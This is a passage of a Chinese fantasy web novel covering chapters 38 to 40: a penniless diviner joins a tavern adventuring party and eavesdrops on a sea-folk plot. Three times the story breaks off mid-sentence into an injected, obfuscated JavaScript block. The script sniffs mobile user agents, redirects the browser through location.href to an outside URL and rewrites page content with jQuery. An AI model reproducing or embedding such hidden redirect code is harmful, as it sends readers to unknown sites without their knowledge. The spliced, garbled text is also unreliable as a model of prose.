“已经开始愈合了,借助一点点亡月的帮助。” 菲尼克斯神色中带上了一丝不易察觉的紧张:“你信仰亡月?” 季泠州摇头:“不过是和亡月的主教相熟而已。” 菲尼克斯悄悄松了口气,他蹲下架起季泠州:“我带你离开。” “谢谢。” 菲尼克斯蹲下时,悄悄用掌心的手帕拂过门边的血污,但无人注意到。 他不动声色地收起湿润的手帕,提议:“这些痕迹我帮你处理掉吧。” 灿金色的火焰化作一只巴掌大的小鸟,扑闪着翅膀飞过血迹洒落的地方,将血液都烧掉。 季泠州好奇地打量着焰鸟,它小巧灵动,身周的空气被烧得扭曲抖动。 菲尼克斯抓住机会转移话题: “我只有一阶,只能放出这么点大的火鸟。十二阶登神路,只要走到九阶就能召出完全体的不死鸟。” 季泠州:“十二阶呢?” 菲尼克斯摇头:“不知道。我家里人没人成功过。毕竟,有数的十二阶都在那。” 他停止推门,抹了一把脑门的汗,伸手指指天上。 “这门死沉。”他评价道。 季泠州不好意思地打断他:“我记得咱们进来的时候,夜莺大人从外往里将门推开的。” 菲尼克斯恍然大悟。 青铜门成功打开。 夜莺支着下颌假寐,门轴转动的微响将她惊醒。 她睁开眼睛,眼尾比平时略红一些。 夜莺眉头紧蹙,打量着季泠州身上的大团血迹,和明显只穿了外衣的菲尼克斯。 “你们遇到了什么?”她问。 季泠州简述了事情的经过。 夜莺神色凝重,目光中带着一丝探究,她和季泠州对视,问:“你是说,门咬了你一口。” “对。” “大人,这门不对劲儿,绝对有问题。”菲尼克斯补充了一句。 夜莺没有多说,抬手自虚空中抽出一本手臂长的书,青铜铸造的封面上,纹路和门类似。 “给我显示最近一个月的巡查记录。”她轻敲书脊,命令道。 书自动翻开,成串的字符飞出组成一份记录。 “奇怪!” 看完记录后,夜莺沉吟道: “记录一切正常,我也没感受到异常波动。你们两个在里面做了什么吗?” 季泠州略微回忆,似乎自己没什么出格举动,摇头道:“我只看了几本书,翻了大部分手札。” 菲尼克斯:“我看了会书,就睡着了。” “按理说在012的压制下,这些门会永远沉寂。”夜莺自言自语,“我必须得上报这件事,申请专业异常物研究员来检查。” 说话间,夜莺屈指弹出一缕辉光,光丝如活虫般钻进青铜门缝。 光芒瞬间大盛,整扇门都被封锁在透明琥珀似的光晕里。 “我先送你们离开。”夜莺当机立断,从口袋掏出一只乌龟。 巴掌大的乌龟,壳被盘得锃亮。 夜莺拉着二人跃入乌龟的梦境。 乌龟有梦境吗? 有,而且很简单。 整个梦境世界只有水晶缸、小鱼和另外两只龟。 唯一的特殊在于水晶缸很是华丽,一侧甚至用细碎的宝石拼了个复杂的图案。 没等季泠州看清那个图案,夜莺撕开梦境边缘,跳入一个距离最近的人类梦境当跳板。 只花了几秒钟,就将二人各自送回了自己家。 季泠州站在门厅里,不由感慨别人的超凡职业各有各的优势。 不说别的,【梦境行者】这个移动方式就没的说,平稳、安全,又有趣。 若是能拥有【梦境行者】的部分能力也是不错的。他回忆起夜莺头上新浮现出的标签: 【异对司加班记录No.1】、【逃亡者】、【旧相识】…… 第一个标签含义直白,后两个则显得意味深长,他一时半会还猜不到具体指向。 “鉴定”技能只对超凡力量不如他的,或是对他敞开心扉的人起效。 季泠州清楚记着,第一次见面时夜莺一片空白。如今能看到更多,毫无疑问是件好事。 他哼着轻松的小调,朝二楼走去。 今天份的死里逃生完成了,接下来能渡过相对安稳的一段时间。 季泠州计划先洗漱一下,然后躺到床上用【仪式之书】玩小游戏,这是为数不多能回味地球生活的方法。 三分钟后,季泠州看着空荡荡的衣柜陷入沉思:“彼方,我记得衣帽行今天会上门送新做的衣物。” 玻璃球拼成一个ヽ(;′Д`)?,接着化成一行字:“钱不够,无法支付尾款,所以……” 季泠州心中盘算: 从卡尔森夫人那里得到了两千多金镑。在银行换成金帆后,减去零零碎碎的支出,无论如何还应该剩一千金帆以上。 怎么会支付不起五个金帆的尾款? 一个可怕的念头浮起,他的声音颤抖地问:“彼方,你把钱都给夜鹭了?” 彼方:“红眼说酬金数额将决定委托的完成度。” “你……糊涂呀!我那个不认识的弟弟未必能杀掉我,但没钱很快就会饿死。红眼出发了吗?” 彼方:“T^T早上就走了。” 季泠州如遭雷击,眼前一阵阵发黑,突如其来的贫困砸晕了他的头。 早上睡醒的时候,他还赞叹彼方厨艺大涨,很快能成为一个合格的管家,替 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17355297|196972||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自己解决烦恼。 不过,烦恼从某种意义上看已经不存在了。 片刻前,他还在烦恼晚饭吃什么。 但吃饭需要钱,而他没有钱。所以,烦恼被解决了。 季泠州取下搭在【苍白挽歌】上的衣服,雕像上的轻纱重新罩住面庞。 经过这段时间的摸索,他发现解离神性存在是最快的提升方式,现在他一天能使用“修改器”五次,暂时脱离了死亡威胁。 …… 沙丁鱼酒馆的门被一把推开,喧闹的人群瞬间安静下来。 一个满头大汗的东陆人走进来,坐在靠门的座位里揉捏自己的腿。 酒保的眼神在他身上打量一番,失望地移开。。 一看就是个穷人,衣着虽整齐,却连马车也坐不起。 人群恢复喧闹,但仍有几道目光停在季泠州身上。 “黑头发先生,你也是来竞争种子的吗?”靠门的地方,一个和季泠州年纪相仿的戴礼帽的男人问,语气轻蔑。 季泠州态度诚恳:“不是,我没有钱。” 礼帽男满脸愕然,他准备好了嘲讽的话,哪能想到正主自己承认了。 一拳打在棉花上。 同桌的伙伴大笑着拍打礼帽男的肩膀,乐不可支。 礼帽男倾身,帽檐阴影里浮起探究:“那你来做什么?” 季泠州抿了一口不要钱的柠檬水: “听朋友提到沙丁鱼酒馆,我很好奇所以来看看。” “朋友?” “是呀!”他并没有说塔洛恩的名字。 礼帽男失去兴趣,转过头继续和同桌的人交谈。 季泠州抬手扶了一下自己的新眼镜。 【听力放大眼镜:别管它是怎么起效的,用就对了。备注:偷听他人谈话时,最重要的是什么——隐藏身份。】 人们的对话传入耳际: “是个新人,什么都不懂。” “这年头,想当超凡者的家伙比街上的野狗还多。” “听说今晚的种子能觉醒命运系的职业。” “天!那岂不是第二个天……” “嘘——不要说出来,被人听到你想死吗?” 季泠州微微一笑,给自己倒了杯不要钱的柠檬水。 很好,市场对觉醒超凡的热情程度远超预料,他心情愉悦地举杯。 没加蜂蜜的柠檬水口感清爽,越喝越开胃。 当他灌下第三杯水后,已经饿得前心贴后背,胃火辣辣地灼烧着,奔波一天的劳累全都卷上心头。 他不禁后悔。 或许应该在家等到艾希莉下班,去她家里蹭点东西吃再出发。 酒保终于动了,他放下手里的抹布离开吧台,走到角落,将一位用斗篷罩着脸的客人请到台上。 “今天,我们还是老规矩。商量好的客人支付抽成后,去后台交易,我们老板提供担保。” 酒馆的客人纷纷起哄:“知道了,快开始吧!” 斗篷人抬手,示意人群安静。 “我要开始了,没有裹成人尿布的客人,现在可以退出店外,等待第二轮交易。” 季泠州满头问号。 所有人都一动不动,只有先前和他搭过话的那桌人投来期待的眼神。 紧接着,一股极弱的灵性拂过他全身,旋即消散不见。 有几个人弯着腰,脸色涨红地跑掉了,剩下的人群爆发出一阵大笑。 季泠州的脸色冷了下来,暗自提高警惕。 刚才,他感受到了【结界师】独有的灵性波动,和迪伦·阿兰一模一样。 这里有超凡者。 斗篷人说:“哈哈哈哈,不速之客已经夹着尿离开了!现在留下的都是诚心交易的朋友。” 人群纷纷行动起来,分成两群开始交谈。 季泠州也学着其他人的样子站起来,刚要混入人群,不知何时斗篷人悄然出现在身边。 “陌生的超凡者阁下,你贸然混进来,不和我打个招呼吗?”斗篷人的声音幽幽的。 “如果我愿意,随时可以让你身败名裂、生不如死。” 季泠州挑了挑眉: “像你刚才对其他人做的那样,你可以试试。” 39.占卜师 斗篷人睃了季泠州一眼,心想年轻人就是莽撞,必须教会他和强大前辈打交道的正确方式。 虚空中,灵性化作的巨网罩了过来。 季泠州一脸漫不经心地把玩着一枚银币,一抹银辉随动作在指缝间无声流转。 斗篷人深深吸了口气,再次增加了灵性输出。 “咣啷!” 银币掉落在地,发出清脆的响声。 斗篷下传来得意的嗤笑:“现在知道怕了?” 斜刺里,一只砂锅大的拳头砸在他的脸上,发出沉闷的撞击声,听得季泠州牙酸。 斗篷人踉踉跄跄地后退几步,撞翻一张圆桌,跌入桌旁打牌的人怀里。 “该死的布兰登,你又在乱放膀胱封印术。绝对天平在上,我可怜的队友呀!” 沙丁鱼形状的招牌下,头几乎要抵住门框的高大女人怒不可遏地吼了一声。 烈焰般的红发扎成高马尾,她攥紧拳头朝斗篷人冲去,身后背的门板一样宽的巨剑发出“轰隆轰隆”的碰撞声。 季泠州极有眼色地连退几步,站到一根柱子后面继续观察。 上一次带给他类似压迫感的,是站台上驶来的和谐号。 斗篷人,也就是布兰登。他的斗篷滑到肩上,露出一张年轻面孔。 布兰登的脸颊瘦削,长着淡色雀斑,鼻子有些歪。 奥菲利亚铁一般的拳头带着残影,即将砸中他鼻梁的瞬间,散落在地的纸牌忽然凭空飞起,绕着红发女人快速旋转。 远处,求购种子的人看到这超凡的画面,发出此起彼伏的惊叹声: “是【魔术师】的纸牌戏法!” “太酷了!” 圆桌旁的扶手椅上,头发灰白的中年男人嗓音低沉:“奥菲利亚,给我个面子,饶过布兰登这次。” 即便周围已经打成一团,中年男人手里依旧稳稳地攥着把牌。 “就这一次,纸牌。”奥菲利亚冷声道。 中年男人转头望向季泠州: “这位朋友,我想布兰登已经知道错了,为何不停下你的仪式,大家坐下来好好聊一聊呢?” 哦,被发现了?有意思。 季泠州微微一笑,俯身拾起那枚硬币,指尖轻触间,仪式的灵光悄然消散。 【命运的偏转仪式:爱人的吻落在了敌人的咽喉上,白刀子捅进胸口让奶油酥皮馅饼裂成八块。备注:当你玩弄命运时,命运也会玩弄你。】 仪式的媒介是【篡命骰子】,能将指定目标的运气略微变差。可以使用多次,直到骰子上的灵性消耗殆尽为止。 季泠州伸手拉过一把椅子,安然入座。一条手臂放在桌面上,指尖继续把玩那枚游戏币。 布兰登忌惮地瞥了骰子一眼,坐在离他最远的地方。 红发女人奥菲利亚大大咧咧坐下,将身后背着的剑靠在桌边。 她的超凡职业是【大剑士】。 大概是走武力路线的人都心思简单,尽管“鉴定”显示她是一个三阶超凡者,但季泠州还是从她身上读到了更多信息。 【大剑士】、【急缺队友】、【资深龙舌兰爱好者】、【一拳能打死一头牛】…… 相对而言,那位纸牌先生就含蓄多了,头上只顶着孤零零的一个标签——【异对司探员】。 纸牌先生先给每个人都倒了一杯起泡酒,斟酌了一下语气说:“布兰登,你再这样下去,迟早会被人打死。” 季泠州认可地点头。 同样的职业,放在不同人身上简直天差地别。 迪伦·阿兰能用结界术将敌人困在股掌之间,而眼前的布兰登,则另辟蹊径走出一条抽象的路,用超凡之力封印敌人的膀胱,让人在不知不觉间失禁。 这大概是他能经营超凡种子生意的原因。 布兰登平等地给每个来自己酒馆的人释放结界术,确认求购者的确是普通人。 ——因为超凡者可以用灵性抵抗,而神祇的信徒身上亦有稀薄的神力笼罩。 布兰登不以为然地笑了,语气自信: “我?自打觉醒超凡那一日起,就在苦练短距离冲刺,和长途跑步了。对了,我还擅长起骑马、驾驶马车,即便是新出的蒸汽机车我也会开。 “没人能追得上我!” 季泠州心中暗想:超凡者的成分还是太复杂了。 小小一张酒桌旁,竟还坐着一位载具操控大师。 他轻咳一声:“我的超凡职业是【占卜师】,如果有需要,可以协助你们看清命运的迷雾。当然,市场价。” 纸牌先生目光深沉地看了他一眼: “听夜莺大人说,侦探协会出现了一位后起之秀,智慧而敏锐,先后在几次异常侵袭中表现杰出,救下了不少人。” 季泠州微笑不语,像是在听别人的故事。 笑话,几句夸夸就想拉拢我? 不可能,根本不可能。 几分钟后。 四个酒杯碰在一起:“庆祝我们的相识!” 氛围祥和而欢乐。 没办法,纸牌先生说话真的很好听。难怪他是有正式编制的公职人员,身上真有两把刷子。 纸牌先生先点了几份小吃,刻意摆在靠近季泠州的位置,然后将奥菲利亚的酒换成龙舌兰,最后捡起布兰登的斗篷,掸了掸灰重新为他披上。 几番操作过后,再严肃的人脸上也露出了笑意。 纸牌先生:“不如让我们轮流说说,都是来做什么的?我先来,司里的头儿让我来盯着超凡种子交易。”他颇无奈地摊摊手。 布兰登哼了一声,默认了这个说辞,二人显然不是第一次见面了。 奥菲利亚将杯中琥珀色的酒液一饮而尽,大大咧咧地说: “我接了委托,要去救一个被海族绑走的倒霉蛋儿。这活儿一个人可干不了,我找了两个队友,但他们都不太合适。今晚想来沙丁鱼酒馆碰碰运气,看有没有新人。” 她瞪着布兰登,又瞥了一眼季泠州,无奈道:“那两人现在连门都出不了,三天!” 季泠州不好意思地移开视线。 原意只是想干扰布兰登的灵性运转,让他施法失败,没想到却偏转了指向目标。 更糟糕的是,布兰登刻意使用了大威力术法,直接造成了翻倍的伤害。 季泠州快速开口转移话题: “我年轻时,曾进入过一个遗迹,意外得到几件异常物,我想卖掉它们。” 纸牌先生抬头,饶有兴致地问:“什么样的遗迹?” 季泠州:“我和友人踏青,不小心遇到强盗,在追赶中失足跌下山崖。幸运地被树挂住,发现了一个山洞。” 然后,他绘声绘色地描述了山洞里风化的骸骨、刻在洞壁的遗言和一包异常物。 三个人听得津津有味。 “最后,一只路过的两人高的大雕将我带回了地面。”季泠州结束了故事。 布兰登一脸赞叹,挥手招来酒保,端来一大盘食物,有榛子仁、奶酪、饼干、火腿和新鲜无花果。 奥菲利亚:“季,你不应该当侦探,你应当去写小说。” 纸牌先生脸上的表情则很古怪。 他似乎想笑,又竭力控制自己的面部表情,最后发出长颈鹿一样的哼鸣,像闷声打嗝。 “我有个提议。奥菲利亚你失去了队友,而这里刚好有两个优秀的超凡者。 “季,布兰登是公道的异常物掮客,不妨将你的东西放在他这里寄卖。 “布兰登,你今天很不礼貌。先是主动攻击季,然后又误伤了奥菲利亚的队友,你应当做出补偿。” 奥菲利亚率先点头: “我收到了3个金帆的定金,可以分你俩1个金帆。等完成委托后,剩余的8个金帆我们按照贡献比例分。” 布兰登的斗篷下发出“哧”的一声,最后在纸牌先生的严厉目光下还是点头答应了。 奥菲利亚转头望向季泠州:“但我需要你先证明自己的能力。” 季泠州则微笑着掏出一堆东西。 【劣质的山寨隐形斗篷】,仅能让人在光线昏暗的地方隐身,且牙痛副作用加倍。 【劣质的万用药膏】,仅能治疗感冒、割伤、扭伤,且灼痛的副作用加倍。 【劣质的手枪】,拥有无限的子弹,但代价是每射击十次,将有一颗子弹瞄准使用者的膝盖。 【劣质的……】 …… 这都是他在日常使用“修改器”时制作的失败品,它们甚至连属于自己的“鉴定”介绍也没有。 布兰登来了兴致,他很少见人能掏出一大堆异常物。 在超凡世界,异常物很少见。 除了部分天生异常物外,只有【工匠】、【裁缝】、【手工爱好者】、【爆炸大师】等少数职业能制造特定的异常物。 财不露白。 趁布兰登专注检查异常物时,季泠州敏锐地察觉到周围投来的好奇乃至贪婪的目光。 他笑着解释: “我是一个【占卜师】,能算出好运的方位,所以……” “所以你能帮我算算,我明天能在哪里发大财吗?” 旁边桌子,一个满脸络腮胡子的魁梧大汉探过身子,语气殷切。 季泠州略一沉吟,说:“1个银佛尔。” 大汉盯着他,手在口袋里摸索半天,喉结滚动,周围人也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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那次夜探停尸房后,塔洛恩专门上门叮嘱,告诫他不能在普通人面前长时间使用异常物。 因为异常物会被动提升人的灵性,让其更易受到异常侵蚀。 当然,沙丁鱼酒馆是个例外,这里的人奔着成为超凡者而来,提升灵性只会让他们高兴。 所以,一会能否有钱雇马车回家,全靠这个大汉的表现了。 他给大汉指点的方向通往三色堇大道,这个时间有许多喝醉的客人离开。 应该、可能、会有人遗落钱包,或需要帮忙吧? 大汉多少能赚到几个佛尔。 桌子边,所有人都在心不在焉的闲聊,大家都在期待结果。 优秀的超凡者很容易用自己的能力赚到钱。 人们喜欢见证强者的崛起,并将故事挂在嘴上,津津乐道。 季泠州本人反而放松下来,他把桌子上的小食扫了大半。 就像钓鱼佬,钓不上鱼捡个棍子回家也是好的。 他已经超额完成了今天的任务。 …… “纸牌先生,救救他!”酒馆的大门被大力推开。 两个男人架着魁梧大汉进来了。 魁梧大汉衣衫破烂,两个眼圈青紫,络腮胡子里渗着血,似乎被狠狠打了一顿。 “这就是好运?”人群中有人“嘘”了一声,对季泠州投来不屑的目光。 奥菲利亚投来同情目光:“季,不要在意,偶尔一次失手说明不了什么。” 布兰登:“就和你一样吗?” 奥菲利亚:“!” 纸牌先生手指翻转,变出一张红心9,贴在魁梧大汉身上,他身上的血流渐止,肿成一条缝的眼睛费力地睁开。 他张开肿了的嘴,艰难地挤出几个字:“我不准你们说占卜师大人的坏话!” 围观人群一片哑然。 难不成这家伙的认知被那个东陆人修改了? 魁梧大汉解释: “多谢占卜师大人。我刚走到三色堇大剧院门口,一辆疾驰的马车撞倒了我,车轮从我的脸上碾过。 “作为赔偿,车上的人慷慨地给了我5个金帆,而医药费只要2佛尔。” 人群哑然。 他们熟悉这个魁梧大汉,他是商会的护卫,周薪只有3佛尔,5个金帆几乎抵得上他两年的收入了。 魁梧大汉脸上浮出朴素的笑容: “我终于攒够钱了,能给我的母亲做手术了,感谢命运,感谢占卜师。”他语气激动,肿胀的眼尾泛红。 魁梧大汉伸进怀里,掏出一个沾血的金币朝季泠州的方向递来。 “给你,占卜师大人,这是谢礼。” 季泠州沉默地接过金帆,胡乱塞进口袋。 人群安静了一刹后,瞬间炸开。他们举着银佛尔涌来:“占卜师大人,选我!” 他狼狈地挤出人群。 身后,奥菲利亚喊了一声:“季,明天八点,在沙丁鱼酒馆碰面。” 40.权柄·永恒 清晨。 涅伽拉德在下冻雨,寒意顺着脖颈往衣服里灌。 季泠州一口灌下彼方煮的热茶,将烤面包塞进嘴里,边咽边往外走。 大雨会堵塞交通,还会增加雇佣公共马车的难度,他可不能迟到。 奇怪的是,街上的人很少,一路畅通无阻到让季泠州感到困惑。 待推开沙丁鱼酒馆的门,布兰登已经等在里面了,依旧披着黑沉沉的斗篷,像大乌鸦一样蹲在角落里。 “早。”他懒懒抬起头,瓮声瓮气地和季泠州打招呼,嘴角噙着惯有的讥诮。 季泠州抖落头发上的雨珠,挑了个靠近壁炉的位置坐下,将半湿的大衣对着炉火烘烤。 火堆里似乎加了某种祛除潮味儿的熏香,甜腻的气息丝丝缕缕钻入鼻腔。 他随口问:“早上好,奥菲利亚呢?” 布兰登鼻腔里哼出一声哂笑: “头儿化妆调查去了。你知道的,海民是进化不完全的野蛮人,他们会平等的撕碎每一个文明人。” 他说“头儿”这个词时,刻意加重了音节,盯着季泠州,仿佛在期待某种共鸣。 季泠州并未如他所愿,摇头道:“我没和海民打过交道。” 布兰登耸了耸肩膀,嘟囔道:“啧,这也是一种幸运。” 湿气渐去,温暖的困意笼罩了季泠州,他靠着椅背,眼皮一点点沉下去。 半醒半睡间,他走在一条幽暗深邃的走廊里。 手里提着一盏叮当作响的琉璃宫灯,灯光摇曳着照亮脚下泛着金光的地砖。 他回头对身后面目模糊、只余一双明亮眼眸的人影低语: “今天是唯一的机会,我带你离开,务必要跟紧我。” 身后的人面目模糊,只露出一双明亮的眼睛。 那人影犹疑地打量四周,声音却带着浓浓的信任: “好,哥哥。” 他定了定神,加快脚步。 一阵冷风吹来,灌入后脖颈,季泠州猛地睁开眼睛,愕然发现自己竟不知什么时候睡着了。 梦的残影迅速消散。 他抬眼,身侧的木窗被风刮开,雨丝飘进来,在地上积起小小水洼。 布兰登的扶手椅空着,人已不知去向。 季泠州起身想去关窗,脚步却顿住。他拾起一根烧火棍,对着壁炉缝隙捅了捅。 半颗橙黄色的香料“噗”地掉进火堆,甜香骤然浓郁,渺渺轻烟升起。 【黑甜乡:疲惫的旅人呀!快停下步伐,进来歇歇。备注:这是一种能让人放松的香料,常出现在生意不好的乡村旅店里。】 很好,他忍不住要被自己的大意逗笑。 季泠州掏出【篡命骰子】,干脆利落地给布兰登刷了一个1点运气。 接着,他细细检视周围,试图寻找线索。 轻微的撞击声传入耳朵,他循着声音的方向,掀开吧台后面铺着的地毯,一扇活板门赫然出现在眼前。 他将吧台上剩下的半块奶酪和一长条面包揣进怀里,然后从兜里掏出一团水银似的衣物,抖开披上,消失在空气中。 季泠州沿着木梯爬下去。 手工挖掘的泥土通道拐了几个弯,墙壁骤然变为整齐的石材。 空间陡然拔高,这里似乎是某个大型地下工程的遗迹。 潮湿的地面布满滑腻青苔,一行新鲜的脚印通向黑暗深处。 季泠州小心翼翼地踩着那行脚印前行。 脚印的尽头是一扇生锈的铁门,里面传来咕噜咕噜的声音和低低的交谈。 “……你们违约了。昆兰先生的失踪已经引起了注意,一支精锐的超凡者小队在我的酒馆整装待发,随时准备掀了你们的乌龟壳。” 声音永远带着布兰登独有的、让人忍不住生气的讥诮语调,很好辨认。 “咕噜…你必须得帮海民…咕噜……按照约定。咕噜……”一个含混不清的声音回应。 “我怎么帮你们?去掀翻异对司,或是去侦探协会,请那群猎魔人乖乖待在家里喝牛奶?” “咕噜……你拿了海民的种子,就要帮海民咕噜。否则,死!” “哼——”布兰登嗤笑一声,紧接着是一阵淅淅沥沥、令人尴尬的流水声。 “我要杀了你!”海民的语调陡然拔高尖锐,咕噜声消失了。 季泠州猛地捂住嘴,一方面是牙疼,另一方面是强忍几乎冲口而出的笑声。 布兰登那缺德的超凡力量,显然让这位海民体验了什么叫“一视同仁”。 “你……拖住咕噜那些人三天,我咕噜……转移族人。”海民的话听起来有些咬牙切齿。 “一天!”布兰登语调平静。 “咕噜……好!” 沉闷的脚步声逼近铁门,季泠州连忙躲到身后的岩石凹坑里。 只见布兰登手里提着一盏煤油灯,脚步沉重地走在前面,身后跟着一道披着蔚蓝长发的高挑身影。 走过凹坑时,那道身影疑惑地转过头,嗅闻空气。 季泠州看清了他的脸,亦或是她。 海民五官绝美,肌肤如白玉,一头浓密的蓝发随意披散,非人的美感扑面而来,宛如传说中的海妖塞壬。 “这里似乎……咕噜……有人咕噜?”海民连比带划说。 布兰登眉头紧锁,一股远比昨晚强的灵性奔涌而出,迅速在空地上激荡了几圈。 他眯起眼睛感受一番,不耐烦地开口:“没有,你快些回去吧。” 海民摇头不语,长腿一跨,三步并作两步没入黑暗。 季泠州无声地吸气。 强烈的牙疼几乎让人无法忍受,他刚才做好了战斗的准备,没想到【山寨隐形斗篷】的效果远超预想,它除了能隐身,还能隐藏灵性波动。 只是,作为使用代价的牙疼比单纯隐身时剧烈数倍。 他几乎是数着数,看着布兰登的身影消失在甬道尽头,这才一把揭下斗篷。 牙痛戛然而止,世界似乎都变得美好起来。 黑暗中,季泠州静静思索。 海民和传闻中描述的完全不同,他原以为海民是半鱼半人般的存在,没想到却和西幻中的精灵一样,有种不真实的美。 而且他注意到,那海民身披的袍子虽做工简陋,但材质极佳,被嶙峋岩石划过依旧完好,远超涅伽拉德大部分平民的衣物。 真是疑点重重。 他使劲摇了摇头,现在不是想这些的时候,眼下最重要的是赶在布兰登之前回去。 毫无疑问,这可以做到——来的路上,他顺手布置了些小机关,相信能带来惊喜。 季泠州重新披上斗篷,顺着来时路返回。一路顺利,当他放好活板门,重新躺回扶手椅时。 布兰登终于骂骂咧咧地回来了。 眼角余光中,能看到布兰登一把掀开活板门,狼狈地爬出来,额角被磕破了,身上沾着黄绿色的不明物,上衣也被刮出一道大口。 季泠州在心底轻笑,1点的运气果然和充满垃圾杂物的地道产生了绝妙的化学反应。 他哼了一声,装作要醒来的样子,打断了布兰登的咒骂。 布兰登顿时吓出冷汗,他一个箭步冲出酒馆,随即推门而入,装作刚回来的样子。 “侦探先生,你可真有用!我和头儿忙得团团转,你却在壁炉边睡大觉。”他喘着气,用一贯的讥诮语气说。 季泠州迷茫地睁开眼:“怎么了?我们什么时候出发?” 门外,太阳已经西垂,街道上升起雾气。 “不知道。”布兰登径直上了二楼。 季泠州目送他离开,内心期待这家伙到底会以什么样的方式拖延行动。 他凑近壁炉,开始烤布兰登的面包和奶酪。 他给自己组装了一个奶酪火腿三明治,慢条斯理地吃着,时不时撕下一块喂给肩上蹲着的寻路小果蝇。 这段时间都没召唤小家伙,小果蝇沉默地埋头大吃,翠绿的大眼睛看都不看季泠州一眼。 待到夜色降临,沉重的脚步声在酒馆外响起。 奥菲利亚终于回来了。 她穿着身洗得发白的工装,手里擎着一根空心长杆,腰间挎着个破袋子。 “准备一下,五分钟后出发。”她坐在季泠州旁边,一把抓过剩余的食物塞进嘴里。 “我接了份吹豆人的活儿,跑遍了海文区终于发现一个入口。” 吹豆人是平民区特有的职业。 他们用长杆将豆子吹到窗户上,发出清脆的响声,以提醒屋里的工人起床上班。 因为不是每个人都买得起表。 季泠州:“什么节点?” 奥菲利亚:“大部分海民都生活在海里。小部分开化的顺着下水道住进了城市,必须得找准下去的位置。” 她动作优雅,但进食速度很快,短短几秒钟就风卷残云般咽下了半条面包和一大块干火腿。 牙口和胃口都好得惊人。 “那个尊严谋杀犯呢?他去哪了?”奥菲利亚问。 布兰登懒洋洋地自二楼开口:“尊敬的女士,希望你能对自己的队友保持基本的尊重。” 奥菲利亚给自己倒了杯龙舌兰,一口灌下。 她心满意足地舒了口气,慢悠悠道:“先生,那是我对你的赞美。” 她干脆利索地站起身,就在大厅脱掉了破旧的外衣,换上了昨晚的外衣,同时从房间角落里掏出那把比人还高的巨剑跨在肩上。 “我们该出发了。”奥菲利亚锐利的目光扫过两个便宜队友。 布兰登眉宇中带上一丝紧张。 季泠州不动声色地望了他一眼,提议:“女士,天黑路滑,视线不佳。我们为何不明天再出发呢?” 布兰登眉梢露出喜色。 奥菲利亚用疑惑的目光打量了他一眼:“你难道不知道,入口随时在移动?” 奥菲利亚微微摇头。 季泠州耸耸肩:“好吧,现在我知道了,我们走吧。” 布兰登跟着点头,然后大步下楼。下到一半时,他骤然失去平衡,从楼梯上滚落下来,重重摔在两人脚底。 奥菲利亚目瞪口呆,咬紧嘴唇。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17392598|196972||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>不远处,几个刚来的客人大声吹着口哨,纷纷起哄:“第二十七次!奥菲利亚的队友又出事了!哈哈哈哈。” 季泠州恍然大悟:怪不得昨晚应邀后,其他人会用看笑话的目光看自己。 他微微一笑,掏出个瓶子:“我学过一些治疗术,不妨让我看看。” 他将目光转向地上昏迷的布兰登,心中微哂,这家伙连做戏也不认真,专门走下来大半才失足跌落,才磕破几块油皮。 粘稠的【万用药膏】被厚厚地涂在布兰登裸露的每一块肌肤上。 这件异常物生效极快,布兰登就像火烧屁股一样从地上弹射起来,朝大门冲去。 他一头扎进路边的水槽,疯狂搓洗身上的药膏。 季泠州轻咳几声,强忍笑意解释道: “我的药膏效果极好,但用起来有轻微地刺痛感。” 奥菲利亚两只眼紧紧地盯着布兰登,只见他身上流血的伤口在短短几分钟内恢复如初。 “厉害!”她发自内心地赞叹,紧接着伸出手问,“可以卖给我一些吗?” 季泠州用指尖挑了一点涂在她的掌心:“你觉得能接受吗?” 奥菲利亚面不改色:“可以。” 季泠州大惊,狠人竟在我身边? 他从怀里掏出满满一罐塞给她:“诚惠10佛尔。” 奥菲利亚爽快地付了钱。 门口,布兰登已洗净药膏,面色惨白地站在雨里,似乎受了极大的折磨。 实际上,正是如此。 奥菲利亚举起手吹了一声口哨,一头羽毛赤红的陆行鸟自街角冲来,亲昵地用鸟头拱她的手,鸟身后还拖着个带轮的挎斗。 她跃上鸟背,示意二人坐进挎斗。 季泠州可不想和布兰登挤在一起,于是选择召唤塔坎瑟斯马。 下大雨的街头只有零星几个路人,按异常管理规定,可以在街头使用异常物。 酒馆里传来阵阵惊呼:“幸运的混蛋,竟然有塔坎瑟斯生物!” “嫉妒让我无法呼吸,谁能帮我人工呼吸?” “滚!” 季泠州面色平静地跨上马,一回生二回熟,他已经习惯了羡慕的目光。 布兰登长叹一口气,苦着脸缩进挎斗。 …… 城市另一侧,一幢讲究的别墅里。 桃花心木长桌旁边,坐着菲尼克斯和七八个衣着整齐的男女。 长桌一端的老者清清嗓子:“狮子座首降下谕令,菲尼克斯提供的样品被证实含有永恒权柄。” “微量。”他补充了一句。 倒吸冷气的声音此起彼伏。 他身侧那位姿态优雅的女人掩嘴惊叹:“丰饶之主在上!竟然是永恒,我一直以为永恒只属于那位冕下。” 老者声音低沉:“传闻在一百年前,那位冕下跟着天命皇帝一起死了,永恒权柄自此回归真实之海。” “可是,我听说东陆回收了永恒?” 老人垂下眼:“我想诸位都知道狮子座首的真实身份,祂永远不会出错。” 所有人眼中的惊讶迅速转化为狂热。 